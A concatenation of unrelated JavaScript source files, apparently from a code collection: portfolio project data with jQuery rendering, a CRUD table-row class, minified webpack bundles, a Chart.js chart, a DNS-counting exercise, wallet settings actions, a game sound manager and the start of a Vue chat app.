escala:"500",
estado:"terminado",
imagenes:[
"https://www.dropbox.com/s/zf9200i0qh9u781/3.png?raw=1" +
"",
"https://www.dropbox.com/s/mpknaa3mbyfg6a2/4.png?raw=1" +
"",
"https://www.dropbox.com/s/yaxc8nj9fwrrwae/5.png?raw=1" +
"",
"https://www.dropbox.com/s/hkqakwe5v5g9lwy/7.png?raw=1" +
"",
"https://www.dropbox.com/s/yhl8wfjscdoz6lg/8.jpg?raw=1" +
"",
"https://www.dropbox.com/s/jhz17gz1hjmabs6/9.png?raw=1" +
"",
"https://www.dropbox.com/s/0btj8hnfsxby59u/10.jpg?raw=1" +
"",
]
},
{
id: "proyecto12",
nombre:"Casa Fajardo(Monteverde)",
descripcion:"Descripción3",
tipo:"casa",
escala:"500",
estado:"terminado",
imagenes:[
"https://www.dropbox.com/s/cd5ovq7r888aq5k/1.bmp?raw=1" +
"",
"https://www.dropbox.com/s/6hgv3aqvova8oc1/2.bmp?raw=1" +
"",
"https://www.dropbox.com/s/s3x8gn57lz7q218/3.bmp?raw=1" +
"",
"https://www.dropbox.com/s/0x7yekzcclfw566/4.jpg?raw=1" +
"",
"https://www.dropbox.com/s/pkovjolz1f3osj4/5.jpg?raw=1" +
"",
"https://www.dropbox.com/s/fgc1h2zt9ft2gd3/6.jpg?raw=1" +
"",
"https://www.dropbox.com/s/ikqtlz3glsy87b0/7.jpg?raw=1" +
"",
"https://www.dropbox.com/s/b10m7hklh1yfyd5/8.tif?raw=1" +
"",
]
},
{
id: "proyecto13",
nombre:"Casa Santofimio",
descripcion:"Descripción3",
tipo:"casa",
escala:"500",
estado:"terminado",
imagenes:[
"https://www.dropbox.com/s/jikophk1f5eixkk/1.bmp?raw=1" +
"",
"https://www.dropbox.com/s/7uynmkoy1kmqr4k/2.bmp?raw=1" +
"",
"https://www.dropbox.com/s/sw42squirg6fprg/3.bmp?raw=1" +
"",
]
},
{
id: "proyecto14",
nombre:"Coltolima",
descripcion:"Descripción3",
tipo:"equipamiento",
escala:"500",
estado:"terminado",
imagenes:[
"https://www.dropbox.com/s/cblverf0s14bn01/RENDER%201%20COLTOLIMA.jpg?raw=1" +
"",
"https://www.dropbox.com/s/94z4k5zeebx91tu/RENDER%203%20COLTOLIMA.jpg?raw=1" +
"",
"https://www.dropbox.com/s/1fytxcuzyxexvud/RENDER%204%20COLTOLIMA.jpg?raw=1" +
"",
"https://www.dropbox.com/s/yt3imxje59ruxxf/RENDER%207%20COLTOLIMA.jpg?raw=1" +
"",
"https://www.dropbox.com/s/58mdotvw9ln85pg/RENDER_6_COLTOLIMA.jpg?raw=1" +
"",
]
},
{
id: "proyecto15",
nombre:"Florida II",
descripcion:"Descripción3",
tipo:"urbanismo",
escala:"500",
estado:"terminado",
imagenes:[
"https://www.dropbox.com/s/nce4nrskunvt7m3/1.png?raw=1" +
"",
"https://www.dropbox.com/s/5mkrnxvg037zct3/2014-10-16_11-08-08.jpg?raw=1" +
"",
"https://www.dropbox.com/s/6d5qmy0lyjdgtjy/img_2.jpg?raw=1" +
"",
]
},
{
id: "proyecto16",
nombre:"Dulima",
descripcion:"Descripción3",
tipo:"equipamiento",
escala:"500",
estado:"terminado",
imagenes:[
"https://www.dropbox.com/s/5pjwkgzyqu7wplu/1.jpg?raw=1" +
"",
"https://www.dropbox.com/s/ffpb0ipgy2doddl/2.jpg?raw=1" +
"",
"https://www.dropbox.com/s/z1x9i27i4yzw259/3.jpg?raw=1" +
"",
"https://www.dropbox.com/s/7130g7x36zo17y7/4.jpg?raw=1" +
"",
"https://www.dropbox.com/s/y6j4zd04daxhovr/5.jpg?raw=1" +
"",
"https://www.dropbox.com/s/lbish9v5rdjnvw8/6.jpg?raw=1" +
"",
]
},
]
var equipamiento =[];
var urbanismo =[];
var casas =[];
var edificios =[];
function pcomer(){
for(i=0; i<proyectos.length; i++){
if(proyectos[i].tipo == "equipamiento"){
equipamiento.push(proyectos[i]);
}
}
equipamiento.sort(function(a,b){
return a.escala- b.escala;
})
return equipamiento;
}
function purba(){
for(i=0; i<proyectos.length; i++){
if(proyectos[i].tipo == "urbanismo"){
urbanismo.push(proyectos[i]);
}
}
urbanismo.sort(function(a,b){
return a.escala- b.escala;
})
return urbanismo;
}
function pcasas(){
for(i=0; i<proyectos.length; i++){
if(proyectos[i].tipo == "casa"){
casas.push(proyectos[i]);
}
}
casas.sort(function(a,b){
return a.escala- b.escala;
})
return casas;
}
function pedif(){
for(i=0; i<proyectos.length; i++){
if(proyectos[i].tipo == "edificio"){
edificios.push(proyectos[i]);
}
}
edificios.sort(function(a,b){
return a.escala- b.escala;
})
return edificios;
}
$(document).ready(function(){
pcomer();
pcasas();
purba();
pedif();
for (i=0; i<equipamiento.length; i++){
var card = "";
card += '<div class="col s12 m4">';
card += '<div class="card">';
card += '<div class="card-image">';
card += '<img src="' + equipamiento[i].imagenes[0] + '">';
card += '</div>';
card += '</div>';
card += ' <a class="waves-effect waves-light modal-trigger blue2 medio" href="#modal'+ equipamiento[i].id + '">' + equipamiento[i].nombre + '</a>';
card += '</div>';
card += '<div id="modal' + equipamiento[i].id + '" class="modal bottom-sheet">';
card += '<div class="modal-content">';
card += '<div class="slider fullscreen">';
card += '<ul class="slides">';
for (j=0; j<equipamiento[i].imagenes.length; j++){
card += '<li>';
card += '<img class ="responsive-img" src="' + equipamiento[i].imagenes[j] + '">';
card += '</li>';
}
card += '</ul>';
card += '<p class="medio center-align derecha izquierda flow-text blue2">' + equipamiento[i].descripcion + '</p>';
card += '</div>';
card += '</div>';
card += '<div class="modal-footer">';
card += '<a href="#!" class=" modal-action modal-close waves-effect waves-green btn-flat white-text vista"><i class="material-icons large">close</i></a>';
card += '</div>';
card += '</div>';
$('.equipamiento').append(card);
}
for (i=0; i<urbanismo.length; i++){
var card = "";
card += '<div class="col s12 m4">';
card += '<div class="card">';
card += '<div class="card-image">';
card += '<img src="' + urbanismo[i].imagenes[0] + '">';
card += '</div>';
card += '</div>';
card += ' <a class="waves-effect waves-light modal-trigger blue2 medio" href="#modal'+ urbanismo[i].id + '">' + urbanismo[i].nombre + '</a>';
card += '</div>';
card += '<div id="modal' + urbanismo[i].id + '" class="modal bottom-sheet">';
card += '<div class="modal-content">';
card += '<div class="slider fullscreen">';
card += '<ul class="slides">';
for (j=0; j<urbanismo[i].imagenes.length; j++){
card += '<li>';
card += '<img src="' + urbanismo[i].imagenes[j] + '">';
card += '</li>';
}
card += '</ul>';
card += '<p class="medio center-align derecha izquierda flow-text blue2">' + urbanismo[i].descripcion + '</p>';
card += '</div>';
card += '</div>';
card += '<div class="modal-footer">';
card += '<a href="#!" class=" modal-action modal-close waves-effect waves-green btn-flat white-text vista"><i class="material-icons large">close</i></a>';
card += '</div>';
card += '</div>';
$('.urbanismo').append(card);
}
for (i=0; i<edificios.length; i++){
var card = "";
card += '<div class="col s12 m4">';
card += '<div class="card">';
card += '<div class="card-image">';
card += '<img src="' + edificios[i].imagenes[0] + '">';
card += '</div>';
card += '</div>';
card += ' <a class="waves-effect waves-light modal-trigger blue2 medio" href="#modal'+ edificios[i].id + '">' + edificios[i].nombre + '</a>';
card += '</div>';
card += '<div id="modal' + edificios[i].id + '" class="modal bottom-sheet">';
card += '<div class="modal-content">';
card += '<div class="slider fullscreen">';
card += '<ul class="slides">';
for (j=0; j<edificios[i].imagenes.length; j++){
card += '<li>';
card += '<img class ="responsive-img" src="' + edificios[i].imagenes[j] + '">';
card += '</li>';
}
card += '</ul>';
card += '<p class="medio center-align derecha izquierda flow-text blue2">' + edificios[i].descripcion + '</p>';
card += '</div>';
card += '</div>';
card += '<div class="modal-footer">';
card += '<a href="#!" class=" modal-action modal-close waves-effect waves-green btn-flat white-text vista"><i class="material-icons large">close</i></a>';
card += '</div>';
card += '</div>';
$('.edificios').append(card);
}
for (i=0; i<casas.length; i++){
var card = "";
card += '<div class="col s12 m4">';
card += '<div class="card">';
card += '<div class="card-image">';
card += '<img src="' + casas[i].imagenes[0] + '">';
card += '</div>';
card += '</div>';
card += ' <a class="waves-effect waves-light modal-trigger blue2 medio" href="#modal'+ casas[i].id + '">' + casas[i].nombre + '</a>';
card += '</div>';
card += '<div id="modal' + casas[i].id + '" class="modal bottom-sheet">';
card += '<div class="modal-content">';
card += '<div class="slider fullscreen">';
card += '<ul class="slides">';
for (j=0; j<casas[i].imagenes.length; j++){
card += '<li>';
card += '<img class ="responsive-img" src="' + casas[i].imagenes[j] + '">';
card += '</li>';
}
card += '</ul>';
card += '<p class="medio center-align derecha izquierda flow-text blue2">' + casas[i].descripcion + '</p>';
card += '</div>';
card += '</div>';
card += '<div class="modal-footer">';
card += '<a href="#!" class=" modal-action modal-close waves-effect waves-green btn-flat white-text vista"><i class="material-icons large">close</i></a>';
card += '</div>';
card += '</div>';
$('.casas').append(card);
}
$(".card").mouseenter(function(e){
if ($(this).find('> .card-reveal').length) {
if ($(e.target).is($('.card .activator')) || $(e.target).is($('.card .activator i')) ) {
// Make Reveal animate up
$(this).find('.card-reveal').css({ display: 'block'}).velocity("stop", false).velocity({translateY: '-100%'}, {duration: 300, queue: false, easing: 'easeInOutQuad'});
}
}
$('.card-reveal').closest('.card').css('overflow', 'hidden');
});
$(".card").mouseleave(function(){
// Make Reveal animate down and display none
$(this).find('.card-reveal').velocity(
{translateY: 0},
{
duration: 225,
queue: false,
easing: 'easeInOutQuad',
complete: function() {
$(this).css({ display: 'none'});
}
});
});
$('.modal-trigger').leanModal();
$('.slider').slider({transition:650});
});
|
/**
* @file This file contains the CrudLine object.
*
* @author Clement GUICHARD <[email protected]>
* @version 1.0.0
*
*/
/**
* ------------------------------------------------------------------------
* Options JSHint
* ------------------------------------------------------------------------
*/
/* jshint esversion: 6 */
/**
* ------------------------------------------------------------------------
* Imports
* ------------------------------------------------------------------------
*/
import { resetElementHTML } from "../utils.js";
import { CrudFieldFactory } from "./fields/crudFieldFactory.js";
/**
* ------------------------------------------------------------------------
* Constants
* ------------------------------------------------------------------------
*/
/**
* CrudField possible states enumeration.
*
* @constant
* @type {object}
* @property {number} VIEW - CrudField view value.
* @property {number} EDIT - CrudField edit value.
*/
const LINE_STATE = Object.freeze({ NEW: "N", MODIFIED: "M", DELETED: "D", SAVED: "S" });
/**
* ------------------------------------------------------------------------
* Class Definition
* ------------------------------------------------------------------------
*/
class CrudLine {
static formatValues(values) {
if(values.status == null) {
values.status = LINE_STATE.NEW;
}
if(values.oldValue == null) {
if(values.status == LINE_STATE.NEW) {
values.oldValue = new Array(values.length);
} else {
values.oldValue = [...values];
}
}
return values;
}
static createEmptyValues(size) {
const values = new Array(size);
return CrudLine.formatValues(values);
}
constructor(crudTable, lineArray, className) {
/* Ensure non-instantiation. */
if(new.target === CrudLine) {
throw new TypeError("Cannot construct CrudLine instance directly.");
}
this._crudTable = crudTable;
this._element = document.createElement("tr");
this._element.className = (className != null) ? className : "";
this._columns = this._crudTable.crud.getColumns();
this._values = (lineArray != null) ? CrudLine.formatValues(lineArray) : CrudLine.createEmptyValues(this._columns.length);
const factory = CrudFieldFactory.getInstance();
this._fields = [];
for(let i = 0; i < this._values.length; i++) {
const field = factory.create(this._columns[i].type, this._values[i], this._columns[i], this._crudTable.crud);
this._fields.push(field);
}
}
/* Getters & Setters */
get role() {
return null;
}
get crudTable() {
return this._crudTable;
}
get element() {
return this._element;
}
get columns() {
return this._columns;
}
get values() {
return this._values;
}
get fields() {
return this._fields;
}
get status() {
return this._values.status;
}
set values(val) {
if(val.length == this.values.length) {
this._values = val;
}
}
set status(val) {
this._values.status = val;
}
/* State methods */
isNew() {
return this.status == LINE_STATE.NEW;
}
isModified() {
return this.status == LINE_STATE.MODIFIED;
}
isDeleted() {
return this.status == LINE_STATE.DELETED;
}
isSaved() {
return this.status == LINE_STATE.SAVED;
}
goNew() {
this.status = LINE_STATE.NEW;
}
goModified() {
this.status = LINE_STATE.MODIFIED;
}
goDeleted() {
this.status = LINE_STATE.DELETED;
}
goSaved() {
this.status = LINE_STATE.SAVED;
}
/* Show methods */
hide() {
this.crudTable.hideCrudLine(this);
}
delete() {
this.crudTable.deleteCrudLine(this);
}
update() {
for(let i = 0; i < this.values.length; i++) {
this.fields[i].value = this.values[i];
this.fields[i].update();
}
}
_reset() {
this.values = CrudLine.createEmptyValues(this.values.length);
this.update();
}
_prepareShow() {
resetElementHTML(this.element);
}
_addColumn(col) {
this.element.appendChild(col);
}
_addEmptyColumn() {
const thEmpty = document.createElement("th");
thEmpty.setAttribute("scope", "row");
this.element.appendChild(thEmpty);
}
/* Events */
_attachOnClickEvent(element, eventFuncName) {
const self = this;
element.onclick = function() { self[eventFuncName](); };
}
/* Abstract methods */
show() {
throw new Error("Method not implemented.");
}
}
/**
* ------------------------------------------------------------------------
* Exports
* ------------------------------------------------------------------------
*/
export { CrudLine, LINE_STATE };
export default CrudLine;
|
(window.webpackJsonp=window.webpackJsonp||[]).push([[4],{"10Zl":function(e,t,a){e.exports={siteHeader:"header-module--siteHeader--oAY2H",siteTitle:"header-module--siteTitle--OLBqf",siteNav:"header-module--siteNav--1VoYC"}},"3dzV":function(e,t,a){e.exports={heroContainer:"hero-module--heroContainer--2hGF6"}},"8ypT":function(e,t,a){},Bl7J:function(e,t,a){"use strict";a.d(t,"a",(function(){return l}));var n=a("q1tI"),r=a.n(n);a("IXuT"),a("8ypT");function l(e){var t=e.children;return r.a.createElement("div",null,t)}},"Cuy+":function(e,t,a){"use strict";a.r(t),a.d(t,"default",(function(){return d}));var n=a("q1tI"),r=a.n(n),l=a("Bl7J"),o=a("LbRr"),i=a("So3+"),c=(a("f3/d"),a("TSJ0")),m=a.n(c);function u(){var e;return r.a.createElement("section",{className:m.a.formContainer},r.a.createElement("form",{name:"contact",action:"/thank-you/",netlify:"true","netlify-honeypot":"bot-field",method:"post"},r.a.createElement("input",{type:"hidden",name:"bot-field"}),r.a.createElement("input",((e={type:"hidden",name:"form-name"}).name="contact",e)),r.a.createElement("fieldset",null,r.a.createElement("label",{htmlFor:"name"},"Name"),r.a.createElement("input",{id:"name",name:"name",type:"text",placeholder:"Name*"})),r.a.createElement("fieldset",null,r.a.createElement("label",{htmlFor:"email"},"Email"),r.a.createElement("input",{id:"email",name:"email",type:"email",placeholder:"Email*"})),r.a.createElement("fieldset",null,r.a.createElement("label",{htmlFor:"company"},"Company"),r.a.createElement("input",{id:"company",name:"company",type:"text",placeholder:"Company"})),r.a.createElement("fieldset",null,r.a.createElement("label",{htmlFor:"message"},"Message"),r.a.createElement("textarea",{id:"message",name:"message",placeholder:"How can we help you?*"})),r.a.createElement("button",{type:"submit"},"Send Message")))}var s=a("W/9C");function d(){return r.a.createElement(l.a,null,r.a.createElement(o.a,null),r.a.createElement(i.a,{heroText:"Need an audit, an estimate, or a consultation? \nLook no further."}),r.a.createElement(u,null),r.a.createElement(s.a,null))}},"I/Z2":function(e){e.exports=JSON.parse('{"data":{"site":{"siteMetadata":{"title":"{BOX & PIXEL}"}}}}')},IXuT:function(e,t,a){},LbRr:function(e,t,a){"use strict";a.d(t,"a",(function(){return m}));var n=a("I/Z2"),r=a("q1tI"),l=a.n(r),o=a("Wbzz"),i=a("10Zl"),c=a.n(i);function m(){var e=n.data;return l.a.createElement("header",{className:c.a.siteHeader},l.a.createElement("h1",{className:c.a.siteTitle},l.a.createElement(o.Link,{to:"/"},e.site.siteMetadata.title)),l.a.createElement("ul",{className:c.a.siteNav},l.a.createElement("li",null,l.a.createElement(o.Link,{to:"/contact"},"Contact"))))}},"So3+":function(e,t,a){"use strict";a.d(t,"a",(function(){return i}));var n=a("q1tI"),r=a.n(n),l=a("3dzV"),o=a.n(l);function i(e){return r.a.createElement("section",{className:o.a.heroContainer},r.a.createElement("h2",null,e.heroText))}},TSJ0:function(e,t,a){e.exports={formContainer:"form-module--formContainer--338hw"}},UNbL:function(e,t,a){e.exports={siteFooter:"footer-module--siteFooter--Ud9C7"}},"W/9C":function(e,t,a){"use strict";a.d(t,"a",(function(){return c}));var n=a("I/Z2"),r=a("q1tI"),l=a.n(r),o=a("UNbL"),i=a.n(o);function c(){var e=n.data;return l.a.createElement("footer",{className:i.a.siteFooter},l.a.createElement("span",null,"© ",(new Date).getFullYear()," ",e.site.siteMetadata.title))}}}]);
//# sourceMappingURL=component---src-pages-contact-js-cc426700b0ff0f2d0e68.js.map |
(window.webpackJsonp=window.webpackJsonp||[]).push([[112],{3599:function(t,e,r){"use strict";r.r(e),r.d(e,"icon",(function(){return l}));r(2),r(15),r(16),r(12);var n=r(0);function a(){return(a=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var r=arguments[e];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(t[n]=r[n])}return t}).apply(this,arguments)}function i(t,e){if(null==t)return{};var r,n,a=function(t,e){if(null==t)return{};var r,n,a={},i=Object.keys(t);for(n=0;n<i.length;n++)r=i[n],e.indexOf(r)>=0||(a[r]=t[r]);return a}(t,e);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(t);for(n=0;n<i.length;n++)r=i[n],e.indexOf(r)>=0||Object.prototype.propertyIsEnumerable.call(t,r)&&(a[r]=t[r])}return a}var l=function(t){var e=t.title,r=t.titleId,l=i(t,["title","titleId"]);return n.createElement("svg",a({width:16,height:16,viewBox:"0 0 16 16",xmlns:"http://www.w3.org/2000/svg","aria-labelledby":r},l),e?n.createElement("title",{id:r},e):null,n.createElement("path",{d:"M6.111 10H12a1 1 0 001-1V5a1 1 0 00-1-1H4a1 1 0 00-1 1v4a1 1 0 001 1h1v1.297L6.111 10zm.46 1L4 14v-3a2 2 0 01-2-2V5a2 2 0 012-2h8a2 2 0 012 2v4a2 2 0 01-2 2H6.571z"}))}}}]);
//# sourceMappingURL=icon.editor_comment-js.min.js.map |
import {
isEmptyObject, makeMap
} from '../../../helper/utils'
import MPXProxy from '../../../core/proxy'
import builtInKeysMap from '../builtInKeysMap'
import mergeOptions from '../../../core/mergeOptions'
import { LIFECYCLE } from './lifecycle'
function transformProperties (properties) {
if (!properties) {
return {}
}
const newProps = {}
Object.keys(properties).forEach(key => {
let rawFiled = properties[key]
let newFiled = null
if (rawFiled === null) {
rawFiled = {
type: null
}
}
if (typeof rawFiled === 'function') {
newFiled = {
type: rawFiled
}
} else {
newFiled = Object.assign({}, rawFiled)
}
newFiled.observer = function (value, oldValue) {
if (this.__mpxProxy) {
this[key] = value
this.__mpxProxy.updated()
}
}
newProps[key] = newFiled
})
return newProps
}
function transformApiForProxy (context, currentInject) {
const rawSetData = context.setData.bind(context)
Object.defineProperties(context, {
setData: {
get () {
return function (data, callback) {
return this.__mpxProxy.forceUpdate(data, { sync: true }, callback)
}
},
configurable: true
},
__getInitialData: {
get () {
return (options) => {
const data = {}
const validData = Object.assign({}, options.data, options.properties, options.props)
for (const key in context.data) {
if (context.data.hasOwnProperty(key) && validData.hasOwnProperty(key)) {
data[key] = context.data[key]
}
}
return data
}
},
configurable: false
},
__render: {
get () {
return rawSetData
},
configurable: false
}
})
// 绑定注入的render
if (currentInject) {
if (currentInject.render) {
Object.defineProperties(context, {
__injectedRender: {
get () {
return currentInject.render.bind(context)
},
configurable: false
}
})
}
if (currentInject.getRefsData) {
Object.defineProperties(context, {
__getRefsData: {
get () {
return currentInject.getRefsData
},
configurable: false
}
})
}
}
}
function filterOptions (options) {
const newOptions = {}
Object.keys(options).forEach(key => {
if (builtInKeysMap[key]) {
return
}
if (key === 'properties' || key === 'props') {
newOptions.properties = transformProperties(Object.assign({}, options.properties, options.props))
} else if (key === 'methods' && options.__pageCtor__) {
// 构造器为Page时抽取所有methods方法到顶层
Object.assign(newOptions, options[key])
} else {
newOptions[key] = options[key]
}
})
return newOptions
}
function getRootMixins (mixin) {
const supportBehavior = typeof Behavior !== 'undefined'
const rootMixins = []
if (supportBehavior) {
const behavior = {}
const pageHooksMap = makeMap(LIFECYCLE.PAGE_HOOKS)
Object.keys(mixin).forEach((key) => {
// 除页面生命周期之外使用behaviors进行mixin
if (!pageHooksMap[key]) {
behavior[key] = mixin[key]
delete mixin[key]
}
})
if (!isEmptyObject(behavior)) {
rootMixins.push({
// eslint-disable-next-line no-undef
behaviors: [Behavior(behavior)]
})
}
}
rootMixins.push(mixin)
return rootMixins
}
function initProxy (context, rawOptions, currentInject) {
// 提供代理对象需要的api
transformApiForProxy(context, currentInject)
// 缓存options
context.$rawOptions = rawOptions
// 创建proxy对象
const mpxProxy = new MPXProxy(rawOptions, context)
context.__mpxProxy = mpxProxy
// 组件监听视图数据更新, attached之后才能拿到properties
context.__mpxProxy.created()
}
export function getDefaultOptions (type, { rawOptions = {}, currentInject }) {
const hookNames = ['attached', 'ready', 'detached']
// 当用户传入page作为构造器构造页面时,修改所有关键hooks
if (rawOptions.__pageCtor__) {
hookNames[0] = 'onLoad'
hookNames[1] = 'onReady'
hookNames[2] = 'onUnload'
}
const rootMixins = getRootMixins({
[hookNames[0]] () {
if (!this.__mpxProxy) {
initProxy(this, rawOptions, currentInject)
}
},
[hookNames[1]] () {
this.__mpxProxy && this.__mpxProxy.mounted()
},
[hookNames[2]] () {
this.__mpxProxy && this.__mpxProxy.destroyed()
}
})
rawOptions.mixins = rawOptions.mixins ? rootMixins.concat(rawOptions.mixins) : rootMixins
rawOptions = mergeOptions(rawOptions, type, false)
return filterOptions(rawOptions)
}
|
Chart.defaults.global.defaultFontFamily='-apple-system,system-ui,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif',Chart.defaults.global.defaultFontColor="#292b2c";
ctx=document.getElementById("myBarChart"),myLineChart=new Chart(ctx,{type:"bar",data:{labels:["August, 2017", "September, 2017", "October, 2017", "November, 2017", "December, 2017", "January, 2018"],datasets:[{label:"Expense",backgroundColor:"rgba(2,117,216,1)",borderColor:"rgba(2,117,216,1)",data:[10372, 8567, 12070, 7841, 9821, 14984]}]},options:{scales:{xAxes:[{time:{unit:"month"},gridLines:{display:!1},ticks:{maxTicksLimit:6}}],yAxes:[{ticks:{min:0,max:15e3,maxTicksLimit:5},gridLines:{display:!0}}]},legend:{display:!1}}}) |
const { NotImplementedError } = require('../extensions/index.js');
/**
* Given an array of domains, return the object with the appearances of the DNS.
*
* @param {Array} domains
* @return {Object}
*
* @example
* domains = [
* 'code.yandex.ru',
* 'music.yandex.ru',
* 'yandex.ru'
* ]
*
* The result should be the following:
* {
* '.ru': 3,
* '.ru.yandex': 3,
* '.ru.yandex.code': 1,
* '.ru.yandex.music': 1,
* }
*
*/
function getDNSStats(domains) { // domains = ['code.yandex.ru', 'music.yandex.ru', 'yandex.ru']
let DNSStats = {};
if (!domains.length) { // if domains array is empty
return DNSStats; // returns empty object
}
let domainsCopy = domains.slice();
domainsCopy = domainsCopy.map(domainString => {
let reverseDomainArray = domainString.split('.').reverse();
reverseDomainArray = reverseDomainArray.map(string => '.' + string);
return reverseDomainArray; // [ ['.ru', '.yandex', '.code'], ['.ru', '.yandex', '.music'], ['.ru', '.yandex'] ]
});
for (let i = 0; i < domainsCopy.length; i++) {
let domain = '';
for (let j = 0; j < domainsCopy[i].length; j++) {
domain += domainsCopy[i][j];
DNSStats[domain] = countDomains(domain, domainsCopy);
}
}
function countDomains(domain, array) {
let counter = 0;
for (let i = 0; i < array.length; i++) {
let string = array[i].join('');
if (string.includes(domain)) {
counter++;
}
}
return counter;
}
return DNSStats;
}
module.exports = {
getDNSStats
};
|
/**
*<p>
*@Description: 页面点击小特效
*</p>
*@author hiYuzu
*@date 2019/03/11 13:56
*/
$(function () {
var a_idx = 0;
$(document).ready(function () {
$("body").click(function (e) {
var a = new Array("富强", "民主", "文明", "和谐", "自由", "平等", "公正", "法治", "爱国", "敬业", "诚信", "友善");
var i = $("<span/>").text(a[a_idx]);
a_idx = (a_idx + 1) % a.length;
var x = e.pageX, y = e.pageY;
i.css({
"z-index": 999999999999999999999999999999999999999999999999999999999999999999999,
"top": y - 20,
"left": x,
"position": "absolute",
"font-weight": "bold",
"color": "#ff6651"
});
$("body").append(i);
i.animate({"top": y - 180, "opacity": 0}, 1500, function () {
i.remove();
});
});
});
}); |
// @flow
import { getWalletCfg, getGlobalCfg } from "../config";
import { isTestNet } from "selectors";
import { equalElements } from "helpers";
import * as wallet from "wallet";
import { closeWalletRequest } from "actions/WalletLoaderActions";
import { closeDaemonRequest, getAvailableWallets } from "actions/DaemonActions";
import { getTreasuryBalance, resetTreasuryBalance } from "actions/ClientActions";
import { EXTERNALREQUEST_PFCDATA } from "main_dev/externalRequests";
export const SETTINGS_SAVE = "SETTINGS_SAVE";
export const SETTINGS_CHANGED = "SETTINGS_CHANGED";
export const SETTINGS_UNCHANGED = "SETTINGS_UNCHANGED";
export const saveSettings = (settings) => (dispatch, getState) => {
const { settings: { needNetworkReset } } = getState();
const { daemon: { walletName } } = getState();
const config = getGlobalCfg();
const oldAllowedExternalRequests = config.get("allowed_external_requests");
const updatedProxy =
(config.get("proxy_type") !== settings.proxyType) ||
(config.get("proxy_location") !== settings.proxyLocation);
config.set("locale", settings.locale);
config.set("daemon_start_advanced", settings.daemonStartAdvanced);
config.set("allowed_external_requests", settings.allowedExternalRequests);
config.set("proxy_type", settings.proxyType);
config.set("proxy_location", settings.proxyLocation);
config.set("timezone", settings.timezone);
config.set("spv_mode", settings.spvMode);
config.set("spv_connect", settings.spvConnect);
config.set("network", settings.network);
if (walletName) {
const walletConfig = getWalletCfg(isTestNet(getState()), walletName);
walletConfig.set("currency_display", settings.currencyDisplay);
walletConfig.set("gaplimit", settings.gapLimit);
}
if (!equalElements(oldAllowedExternalRequests, settings.allowedExternalRequests)) {
wallet.reloadAllowedExternalRequests();
}
const oldPfcdataEnabled = oldAllowedExternalRequests.indexOf(EXTERNALREQUEST_PFCDATA) > -1;
const newPfcdataEnabled = settings.allowedExternalRequests.indexOf(EXTERNALREQUEST_PFCDATA) > -1;
if (newPfcdataEnabled === true && oldPfcdataEnabled === false) {
dispatch(getTreasuryBalance());
}
if (newPfcdataEnabled === false && oldPfcdataEnabled === true) {
dispatch(resetTreasuryBalance());
}
dispatch({ settings, type: SETTINGS_SAVE });
if (updatedProxy) {
wallet.setupProxy();
}
if (needNetworkReset) {
dispatch(closeWalletRequest());
dispatch(closeDaemonRequest());
dispatch(getAvailableWallets());
}
};
export const ALLOWEDEXTERNALREQUESTS_ADDED = "ALLOWEDEXTERNALREQUESTS_ADDED";
export const addAllowedExternalRequest = (requestType) => (dispatch, getState) => {
const config = getGlobalCfg();
const allowed = config.get("allowed_external_requests");
if (allowed.indexOf(requestType) > -1) return;
allowed.push(requestType);
config.set("allowed_external_requests", allowed);
wallet.allowExternalRequest(requestType);
const { settings: { currentSettings, tempSettings } } = getState();
const newSettings = { ...currentSettings };
newSettings.allowedExternalRequests = allowed;
// Also modify temp settings, given that it may be different than the current
// settings.
const newTempSettings = { ...tempSettings };
newTempSettings.allowedExternalRequests = [ ...newTempSettings.allowedExternalRequests ];
if (newTempSettings.allowedExternalRequests.indexOf(requestType) === -1) {
newTempSettings.allowedExternalRequests.push(requestType);
}
dispatch({ newSettings, newTempSettings, type: ALLOWEDEXTERNALREQUESTS_ADDED });
};
export function updateStateSettingsChanged(settings, norestart) {
return (dispatch, getState) => {
const { tempSettings, currentSettings } = getState().settings;
const newSettings = { ...tempSettings, ...settings };
const settingsFields = Object.keys(tempSettings);
const networkChange = {
network: true,
spvMode: true,
daemonStartAdvanced: true,
};
const newDiffersFromTemp = settingsFields
.reduce((d, f) => (d || newSettings[f] !== tempSettings[f]), false);
if (newDiffersFromTemp) {
const newDiffersFromCurrent = settingsFields
.reduce((d, f) => (d || newSettings[f] !== currentSettings[f]), false);
const needNetworkReset = !norestart && Object.keys(networkChange)
.reduce((d, f) => (d || newSettings[f] !== currentSettings[f]), false);
newDiffersFromCurrent
? dispatch({ tempSettings: newSettings, needNetworkReset, type: SETTINGS_CHANGED })
: dispatch({ tempSettings: currentSettings, type: SETTINGS_UNCHANGED });
}
};
}
export const updateStateVoteSettingsChanged = (settings) => (dispatch, getState) => {
const { settings: { tempSettings, currentSettings } } = getState();
const { daemon: { walletName } } = getState();
if (settings.enableTicketBuyer !== tempSettings.enableTicketBuyer) {
const config = getWalletCfg(isTestNet(getState()), walletName);
config.set("enableticketbuyer", settings.enableTicketBuyer);
dispatch({ tempSettings: settings, type: SETTINGS_CHANGED });
} else {
dispatch({ tempSettings: currentSettings, type: SETTINGS_UNCHANGED });
}
};
export const SETTINGS_TOGGLE_THEME = "SETTINGS_TOGGLE_THEME";
export const toggleTheme = () => (dispatch, getState) => {
const { settings: { theme } } = getState();
const config = getGlobalCfg();
if (theme == "theme-light") {
dispatch({ theme: "theme-dark", type: SETTINGS_TOGGLE_THEME });
config.set("theme", "theme-dark");
} else if (theme == "theme-dark") {
dispatch({ theme: "theme-light", type: SETTINGS_TOGGLE_THEME });
config.set("theme", "theme-light");
}
};
|
let instance
/**
* 统一的音效管理器
*/
export default class Music {
constructor() {
if ( instance )
return instance
instance = this
this.bgmAudio = new Audio()
this.bgmAudio.loop = false
this.bgmAudio.src = 'audio/boom.mp3'
this.shootAudio = new Audio()
this.shootAudio.src = 'audio/bullet.mp3'
this.boomAudio = new Audio()
this.boomAudio.src = 'audio/boom.mp3'
this.playBgm()
}
playBgm() {
this.bgmAudio.play()
}
playShoot() {
this.shootAudio.currentTime = 0
this.shootAudio.play()
}
playExplosion() {
this.boomAudio.currentTime = 0
this.boomAudio.play()
}
}
|
import ChatMessage from "./components/TheMessageComponent.js"
(() => {
console.log('fired');
const socket = io();
function setUserId({sID, message}){
vm.socketID = sID;
}
function appendMessage(message) {
vm.messages.push(message);
vm.$refs.message_sound.play();
}
const vm = new Vue ({
data: {
messages: [],
nicknamme: "",
username: "",
socketID: "",
message: ""
},
created:
